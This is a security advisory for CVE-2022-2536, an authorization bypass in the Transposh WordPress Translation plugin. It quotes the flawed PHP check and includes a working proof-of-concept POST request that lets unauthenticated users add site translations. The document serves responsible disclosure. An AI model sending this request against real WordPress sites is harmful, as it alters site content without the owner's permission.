Transposh WordPress Translation 1.0.8.1 Incorrect Authorization

`RCE Security Advisory  
https://www.rcesecurity.com  
  
  
1. ADVISORY INFORMATION  
=======================  
Product: Transposh WordPress Translation  
Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/  
Type: Incorrect Authorization [CWE-863]  
Date found: 2022-07-23  
Date published: 2022-08-16  
CVSSv3 Score: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)  
CVE: CVE-2022-2536  
  
  
2. CREDITS  
==========  
This vulnerability was discovered and researched by Julien Ahrens from  
RCE Security.  
  
  
3. VERSIONS AFFECTED  
====================  
Transposh WordPress Translation 1.0.8.1 and below  
  
  
4. INTRODUCTION  
===============  
Transposh translation filter for WordPress offers a unique approach to blog  
translation. It allows your blog to combine automatic translation with human  
translation aided by your users with an easy to use in-context interface.  
  
(from the vendor's homepage)  
  
  
5. VULNERABILITY DETAILS  
========================  
When installed, Transposh comes with a set of pre-configured options; one of these  
is the "Who can translate" setting under the "Settings" tab. However, this option  
is ignored if Transposh has enabled its "autotranslate" feature (it's enabled by  
default) and the HTTP POST parameter "sr0" is larger than 0. This is caused by a  
faulty validation in "wp/transposh_db.php":  
  
if (!$by && !($all_editable &&  
($this->transposh->is_translator() || ($source > 0 && $this->transposh->options->enable_autotranslate)))) {  
tp_logger("Unauthorized translation attempt " . $_SERVER['REMOTE_ADDR'], 1);  
header("HTTP/1.0 401 Unauthorized translation");  
exit;  
}  
  
Successful exploits can allow an unauthenticated attacker to bypass the Transposh  
permissions and add translations to the WordPress site, thereby influencing what  
is shown on the site. However, this only affects new translations.  
  
  
6. PROOF OF CONCEPT  
===================  
The following Proof-of-Concept adds a new translation  
  
POST /wp-admin/admin-ajax.php HTTP/1.1  
Host: [host]  
Content-Length: 74  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
User-Agent: Mozilla/5.0  
Connection: close  
  
action=tp_translation&ln0=en&sr0=1&items=1&tk0=translation&tr0=translation  
  
  
7. SOLUTION  
===========  
None. Remove the plugin to prevent exploitation.  
  
  
8. REPORT TIMELINE  
==================  
2022-07-23: Discovery of the vulnerability  
2022-07-23: CVE requested from Wordfence (CNA)  
2022-07-25: Wordfence assigns CVE-2022-2536  
2022-08-09: Sent note to vendor  
2022-08-09: Vendor is aware of this bug, but there is no plan to fix it yet  
2022-08-16: Public Disclosure  
  
  
9. REFERENCES  
=============  
https://github.com/MrTuxracer/advisories  
`